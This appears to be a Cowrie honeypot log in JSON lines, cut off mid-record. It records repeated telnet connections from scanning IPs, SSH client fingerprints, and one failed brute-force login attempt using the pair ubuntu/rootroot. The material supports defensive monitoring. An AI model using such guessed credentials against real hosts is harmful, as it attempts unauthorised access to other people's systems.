{"eventid":"cowrie.session.closed","duration":30.681630611419678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.139796Z","src_ip":"152.53.125.71","session":"64bcce9a384c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057214498519897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.328939Z","src_ip":"152.53.125.71","session":"3463035109d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12776803970337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.454212Z","src_ip":"152.53.125.71","session":"35adffaf8a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44754,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e38efd87f6b","protocol":"telnet","message":"New connection: 152.53.125.71:44754 (10.17.0.5:23) [session: 3e38efd87f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.535125Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44760,"dst_ip":"10.17.0.5","dst_port":23,"session":"f57cd42a85d5","protocol":"telnet","message":"New connection: 152.53.125.71:44760 (10.17.0.5:23) [session: f57cd42a85d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.586190Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44776,"dst_ip":"10.17.0.5","dst_port":23,"session":"c055cce74d83","protocol":"telnet","message":"New connection: 152.53.125.71:44776 (10.17.0.5:23) [session: c055cce74d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:03.623371Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44786,"dst_ip":"10.17.0.5","dst_port":23,"session":"b782afd8fd10","protocol":"telnet","message":"New connection: 152.53.125.71:44786 (10.17.0.5:23) [session: b782afd8fd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:04.265845Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44792,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f4bd5440813","protocol":"telnet","message":"New connection: 152.53.125.71:44792 (10.17.0.5:23) [session: 3f4bd5440813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:04.284115Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":44796,"dst_ip":"10.17.0.5","dst_port":23,"session":"68fd2350e7a2","protocol":"telnet","message":"New connection: 152.53.125.71:44796 (10.17.0.5:23) [session: 68fd2350e7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:04.444737Z"}
{"eventid":"cowrie.session.closed","duration":30.9446759223938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:05.187852Z","src_ip":"152.53.125.71","session":"1ce25173a7c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409749746322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:06.160215Z","src_ip":"37.97.152.182","session":"5959aaa5ade7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97366738319397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:06.259105Z","src_ip":"152.53.125.71","session":"90741e0c2646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.696098566055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:06.367529Z","src_ip":"152.53.125.71","session":"9966836603c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187390327453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:06.485440Z","src_ip":"152.53.125.71","session":"4fe48cf99c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51120,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f518faecfd","protocol":"telnet","message":"New connection: 152.53.125.71:51120 (10.17.0.5:23) [session: 37f518faecfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:06.792931Z"}
{"eventid":"cowrie.session.closed","duration":31.36748433113098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:06.852033Z","src_ip":"152.53.125.71","session":"59be32cec7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffbaa59aaa54","protocol":"telnet","message":"New connection: 152.53.125.71:51134 (10.17.0.5:23) [session: ffbaa59aaa54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:07.225465Z"}
{"eventid":"cowrie.session.closed","duration":30.728512048721313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:07.276262Z","src_ip":"152.53.125.71","session":"4d6a95fc16fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10532832145691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:07.376896Z","src_ip":"152.53.125.71","session":"be9e0f8476b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01433753967285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:07.445041Z","src_ip":"152.53.125.71","session":"dbac491beff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51136,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcbd9638d12e","protocol":"telnet","message":"New connection: 152.53.125.71:51136 (10.17.0.5:23) [session: fcbd9638d12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:07.488127Z"}
{"eventid":"cowrie.session.closed","duration":30.6254301071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.148480Z","src_ip":"152.53.125.71","session":"43b92bac7fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51146,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e45fab1919b","protocol":"telnet","message":"New connection: 152.53.125.71:51146 (10.17.0.5:23) [session: 7e45fab1919b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.253613Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51162,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b67cd5f7c50","protocol":"telnet","message":"New connection: 152.53.125.71:51162 (10.17.0.5:23) [session: 8b67cd5f7c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.321857Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51166,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5f10659a23","protocol":"telnet","message":"New connection: 152.53.125.71:51166 (10.17.0.5:23) [session: ad5f10659a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.394554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51174,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6ae2f14480d","protocol":"telnet","message":"New connection: 152.53.125.71:51174 (10.17.0.5:23) [session: c6ae2f14480d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.398883Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51186,"dst_ip":"10.17.0.5","dst_port":23,"session":"387a7a844890","protocol":"telnet","message":"New connection: 152.53.125.71:51186 (10.17.0.5:23) [session: 387a7a844890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.550120Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":37786,"dst_ip":"159.203.135.109","dst_port":22,"session":"d702bf17d1df","protocol":"ssh","message":"New connection: 103.215.80.173:37786 (159.203.135.109:22) [session: d702bf17d1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.705688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.711599Z","src_ip":"103.215.80.173","session":"d702bf17d1df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:08.917165Z","src_ip":"103.215.80.173","session":"d702bf17d1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.724045276641846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.295904Z","src_ip":"152.53.125.71","session":"c4895d755237","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.335196Z","src_ip":"103.215.80.173","session":"d702bf17d1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1070773601532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.341324Z","src_ip":"152.53.125.71","session":"9f637ddc23f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958717107772827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.427515Z","src_ip":"152.53.125.71","session":"d31754777a1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51198,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a02b46ee2ed","protocol":"telnet","message":"New connection: 152.53.125.71:51198 (10.17.0.5:23) [session: 3a02b46ee2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.435091Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51214,"dst_ip":"10.17.0.5","dst_port":23,"session":"4462eb8c3ec8","protocol":"telnet","message":"New connection: 152.53.125.71:51214 (10.17.0.5:23) [session: 4462eb8c3ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.581900Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51226,"dst_ip":"10.17.0.5","dst_port":23,"session":"041d6d6f2726","protocol":"telnet","message":"New connection: 152.53.125.71:51226 (10.17.0.5:23) [session: 041d6d6f2726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:09.643939Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"db1f5ad597eb","protocol":"telnet","message":"New connection: 152.53.125.71:51230 (10.17.0.5:23) [session: db1f5ad597eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:10.251637Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d570a7b5deb","protocol":"telnet","message":"New connection: 152.53.125.71:51246 (10.17.0.5:23) [session: 8d570a7b5deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:10.282632Z"}
{"eventid":"cowrie.session.closed","duration":30.799072265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:10.441492Z","src_ip":"152.53.125.71","session":"4f01702580db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:10.543745Z","src_ip":"103.215.80.173","session":"d702bf17d1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.691507577896118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.005544Z","src_ip":"37.97.152.182","session":"3a0fa8085dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64415669441223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.065039Z","src_ip":"152.53.125.71","session":"1a5680f9bdce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.506842613220215,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.111994Z","src_ip":"159.203.13.64","session":"2d6ac3c562ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886829614639282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.320741Z","src_ip":"152.53.125.71","session":"203496c51c24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f856c0e9559c","protocol":"telnet","message":"New connection: 152.53.125.71:51260 (10.17.0.5:23) [session: f856c0e9559c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.346513Z"}
{"eventid":"cowrie.session.closed","duration":31.10472083091736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.382382Z","src_ip":"152.53.125.71","session":"5f64e7a076fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901978492736816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.466401Z","src_ip":"152.53.125.71","session":"a3e668ef5a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51272,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbfdcd7d5a74","protocol":"telnet","message":"New connection: 152.53.125.71:51272 (10.17.0.5:23) [session: dbfdcd7d5a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.515653Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51274,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c7affaa5eab","protocol":"telnet","message":"New connection: 152.53.125.71:51274 (10.17.0.5:23) [session: 3c7affaa5eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:11.629583Z"}
{"eventid":"cowrie.session.closed","duration":30.840110063552856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.235010Z","src_ip":"152.53.125.71","session":"a19f420ff66c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51280,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a35dd9aacf6","protocol":"telnet","message":"New connection: 152.53.125.71:51280 (10.17.0.5:23) [session: 8a35dd9aacf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.282000Z"}
{"eventid":"cowrie.session.closed","duration":31.050659894943237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.321999Z","src_ip":"152.53.125.71","session":"61355b552dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33673596382141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.335537Z","src_ip":"152.53.125.71","session":"59216cc0397b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51282,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cdee19ff8fb","protocol":"telnet","message":"New connection: 152.53.125.71:51282 (10.17.0.5:23) [session: 6cdee19ff8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.384872Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51294,"dst_ip":"10.17.0.5","dst_port":23,"session":"56946fd15f38","protocol":"telnet","message":"New connection: 152.53.125.71:51294 (10.17.0.5:23) [session: 56946fd15f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.392725Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51308,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6faaa6f612f","protocol":"telnet","message":"New connection: 152.53.125.71:51308 (10.17.0.5:23) [session: d6faaa6f612f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.476388Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51320,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a721eaa0224","protocol":"telnet","message":"New connection: 152.53.125.71:51320 (10.17.0.5:23) [session: 5a721eaa0224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:12.502484Z"}
{"eventid":"cowrie.session.closed","duration":30.764228105545044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:13.086182Z","src_ip":"152.53.125.71","session":"d46a512bb392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51326,"dst_ip":"10.17.0.5","dst_port":23,"session":"e485affcef47","protocol":"telnet","message":"New connection: 152.53.125.71:51326 (10.17.0.5:23) [session: e485affcef47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:13.221190Z"}
{"eventid":"cowrie.session.closed","duration":30.93819785118103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:13.266029Z","src_ip":"152.53.125.71","session":"411b32ab83b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51332,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f85fd3c5eb0","protocol":"telnet","message":"New connection: 152.53.125.71:51332 (10.17.0.5:23) [session: 8f85fd3c5eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:13.281440Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5be4175c9d","protocol":"telnet","message":"New connection: 152.53.125.71:51338 (10.17.0.5:23) [session: fa5be4175c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:13.531012Z"}
{"eventid":"cowrie.session.closed","duration":30.891468286514282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:14.225210Z","src_ip":"152.53.125.71","session":"74f340fc5642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48962640762329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:14.232532Z","src_ip":"152.53.125.71","session":"66c6a591dfc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164172410964966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:14.379060Z","src_ip":"152.53.125.71","session":"6b31c5a21544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":51350,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b12d07c3ed1","protocol":"telnet","message":"New connection: 152.53.125.71:51350 (10.17.0.5:23) [session: 3b12d07c3ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:14.505618Z"}
{"eventid":"cowrie.session.closed","duration":30.687754154205322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.219419Z","src_ip":"37.97.152.182","session":"3ccecadef3de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60152,"dst_ip":"159.203.135.109","dst_port":22,"session":"cff738c865f4","protocol":"ssh","message":"New connection: 159.203.92.129:60152 (159.203.135.109:22) [session: cff738c865f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.279969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.286471Z","src_ip":"159.203.92.129","session":"cff738c865f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 